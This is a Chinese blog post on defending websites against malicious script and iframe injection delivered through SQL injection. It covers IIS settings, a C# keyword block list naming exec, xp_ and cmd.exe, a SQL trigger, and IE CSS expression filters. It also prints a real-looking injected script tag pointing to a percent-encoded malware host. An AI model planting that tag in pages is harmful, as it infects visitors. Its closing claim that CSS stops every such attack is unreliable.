网站安全性处理(恶意挂马)

相信大多数朋友都是木马的受害者,网站被注入心情可想而知。而且现在ARP攻击,注入也是轻而易举的事,仅局域网里都时刻面临威胁,哎,什么世道。

挂马无非是通过SQL注入的方式,把那些恶意的代码,如iframe,<script>等注入到网站数据库中表字段内。

以下是本人经过长期的实践,总结出的防止挂马的经验,会从防止挂马的处理和已经被挂马后的处理去叙述。

首先,从防止挂马(防注入)的处理;

主要完成三个方面的工作。

(1)IIS设置去防注入

IIS设置1,有设计网站目录的访问权限和上传权限,指定好哪些目录是可以上传的,哪些是可以访问的,什么角色可以访问。因为,网站有些上传的功能会出现漏洞,直接让黑客上传了一些恶意的动态代码。因此限制好目录权限就相当必要。当然这也和你的网站目录结构的设计是否合理,上传代码是否足够严格也是相关的。上传目录最好加以监控。IIS设置2,通过第三方工具去限制IIS允许的url字符的长度。

例如:http://adv.smg.cn/SmgAdCenter/Index.aspx?test=Delete%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D%D%S%L%J%D

出现这样的URL形式(SQL注入)指定url的长度,即字节数也就非常必要。

(2)代码编写去防注入

代码去防的代码网上可以搜索到很多,主要原理是在页面跳转的时候HTTP监听(无论是POST方法Form表单提交还是GET方法传递参数时候),都去遍历所有参数,搜索哪些严重具备恶意隐患的字符,加以处理,抛出Exception。以下是本人收集的(以|号分隔),如有不全请补充。

/x3B|--|%2b|0x|@|@@|exec|drop|insert|create|select|delete|update|varchar|chr|mid|master.|truncate|declare|rtrim|sEt|dEcLaRe|extendedproc|<|>|<script|cscript|wscript|xp_|cmd.exe|'|%20|&|;|$|/'|<>|()|+|CR|LF|,

示例代码如下:

#region SQL注入式攻击代码分析
        /// <summary>
        /// 处理用户提交的请求
        /// </summary>
        public static void StartProcessRequest()
        {   //每个页面都要加
            try
            {
                string getkeys = "";
                string sqlErrorPage = System.Configuration.ConfigurationSettings.AppSettings["CustomErrorPage"].ToString();
                if (System.Web.HttpContext.Current.Request.QueryString != null)
                {

                    for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
                    {
                        getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
                        if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))//调用ProcessSqlStr
                        {
                            System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage + "?errmsg=sqlserver&sqlprocess=true");
                            System.Web.HttpContext.Current.Response.End();
                        }
                    }
                }
                if (System.Web.HttpContext.Current.Request.Form != null)
                {
                    for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
                    {
                        getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
                        if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
                        {
                            System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage + "?errmsg=sqlserver&sqlprocess=true");
                            System.Web.HttpContext.Current.Response.End();
                        }
                    }
                }
            }
            catch
            {
                // 错误处理: 处理用户提交信息!
            }
        }
        /// <summary>
        /// 分析用户请求是否正常
        /// </summary>
        /// <param name="Str">传入用户提交数据</param>
        /// <returns>返回是否含有SQL注入式攻击代码</returns>
        private static bool ProcessSqlStr(string Str)
        {   //指定要剔除的字符
            bool ReturnValue = true;
            try
            {
                if (Str != "")
                {
                    string SqlStr = "/x3B|--|%2b|0x|@|@@|exec|drop|insert|create|select|delete|update|varchar|chr|mid|master.|truncate|declare|rtrim|sEt|dEcLaRe|extendedproc|<|>|<script|cscript|wscript|xp_|cmd.exe|'|%20|&|;|$|/'|<>|()|+|CR|LF|,";
                    string[] anySqlStr = SqlStr.Split('|');
                    foreach (string ss in anySqlStr)
                    {
                        if (Str.Contains(ss) == true)
                        {
                            ReturnValue = false;
                        }
                    }
                }
            }
            catch
            {
                ReturnValue = false;
            }
            return ReturnValue;
        }
        #endregion

(3)SQL数据库去防注入

SQL方式主要是用SQL触发器。此安全触发器主要工作就是在往数据表中增改时候触发,去判断写入表字段的代码中是否有恶意的代码和脚本,一经发现就不去执行增改操作,事务回滚。并请对网站中每个表都应用此触发器。

示例如下:

set ANSI_NULLS ON
set QUOTED_IDENTIFIER ON
go

CREATE TRIGGER [dnt_adminvisitlog_AntiSqlScripts] ON [dbo].[dnt_adminvisitlog]
for UPDATE
AS 
 declare @username  nvarchar(20),   -----更新字段名1################
  @grouptitle nvarchar(50),     -----更新字段名2################
  @str varchar(500),     -----脚本字符串变量
  @flag int,      -----标志位
  @recordID int      -----更新表的唯一ID

set @flag=0
select @recordID=visitid from inserted          ----从更新行选择ID
select @username=username,@grouptitle=grouptitle from dnt_adminvisitlog where
visitid=@recordID

         ----从表中选择更新后的字段值
DECLARE in_Script_cursor CURSOR
FOR
SELECT [str]
FROM tbl_Scripts

OPEN in_Script_cursor
-- Perform the first fetch.
FETCH NEXT  FROM in_Script_cursor INTO @str

WHILE @@FETCH_STATUS = 0
BEGIN

--挂马字段判断
begin
if charindex(lower(@str),lower(@username))>0        ---判断字段1里有没有挂马脚本#############
begin
set @flag=1
end
if charindex(lower(@str),lower(@grouptitle))>0            ---判断字段2里有没有挂马脚本############
begin
set @flag=1
end
end

FETCH NEXT  FROM in_Script_cursor INTO @str
END
CLOSE in_Script_cursor
DEALLOCATE in_Script_cursor

--如果存在挂马脚本,回滚,不更新
if @flag=1
begin
rollback tran
end

 

其次,已经被挂马(防注入)后的处理;

要是中招了,那怎么办呢?我的处理分成以下部分;

(1)代码屏蔽;

即在输出的变量之前对其进行判断,清楚HTML或SCRIPT,这种方式比较暴力,属于宁可错杀一千不可放过一个的。C#示例代码如下:

public static string NoHTML(string Htmlstring)
        {
            //删除脚本
            Htmlstring = Regex.Replace(Htmlstring, @"<script[^>]*?>.*?</script>", "", RegexOptions.IgnoreCase);
            //删除HTML
            Htmlstring = Regex.Replace(Htmlstring, @"<(.[^>]*)>", "", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"([/r/n])[/s]+", "", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"-->", "", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"<!--.*", "", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"&(quot|#34);", "/"", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"&(amp|#38);", "&", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"&(lt|#60);", "<", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"&(gt|#62);", ">", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"&(nbsp|#160);", " ", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"&(iexcl|#161);", "/xa1", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"&(cent|#162);", "/xa2", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"&(pound|#163);", "/xa3", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"&(copy|#169);", "/xa9", RegexOptions.IgnoreCase);
            Htmlstring = Regex.Replace(Htmlstring, @"&#(/d+);", "", RegexOptions.IgnoreCase);
            Htmlstring.Replace("<", "");
            Htmlstring.Replace(">", "");
            Htmlstring.Replace("/r/n", "");
            Htmlstring = HttpContext.Current.Server.HtmlEncode(Htmlstring).Trim();
            return Htmlstring;
        }

还有的方法就比较温和,比较有针对性。

用CSS防iframe,销毁网页里所有的iframe对象

<style type="text/css">
iframe{v:expression(this.src='about:blank',this.outerHTML='');}
</style>

如果要使自己的iframe显示在网页里,而别人挂的IFRAME马都不起作用,在CSS里加一个

#f126{v:expression() !important}

<iframe id="f126" name="f126" src="http://www.126.com/"></iframe>
以上方法只是停止了iframe的请求并销毁了它本身,但以后的挂马方式改变了,例如改成<script></script>方式挂,就不能用这种方法来解决了;此这个方法不是最终的解决案,最终的解决方案是找出真正被挂IFRAME的原因,堵住源头。

 

解决script(附带解决iframe)挂马最佳方案

 

以下地址含有木马,请不要轻易访问,中标可不要怪我:

<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>

一连插入了N个一样的<script>标记,有时大小写也不一,真头疼啊~~~

script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。

 

解决1:

iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。

缺点:访客无法看到被感染了<script>木马的页面。

解决2:

iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。

解决3:

iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}

原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决4:

iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决5:

iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}

第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script>

 

结束总结

综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。

 

引申出来的问题。

有些时候网站中必须引用到外域的JS怎么办呢??????

比如:我的网站中要引用Discuz论坛的帖子或者最新帖子等,这些引用方式都是以<script>方式去引用外域的,怎么办怎么办呢?

遇到这种情况,目前我没有找到100%的解决方法。这么说吧,代码编写合理,再做好先前的三步防护工作基本上应该是不会有安全问题(目前没遇到)。

为了以防万一,本人专门制作了一个程序,清除SQL中被注入的恶意代码。原理很简单,就是遍历所有表发现一个恶意代码就替换成空,对整个DB刷一遍。这种方式是被动的。就是说一定要中了毒,找出那段恶意代码来,输入恶意代码库,让程序去匹配去定点清除。还好至今没有用到过。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值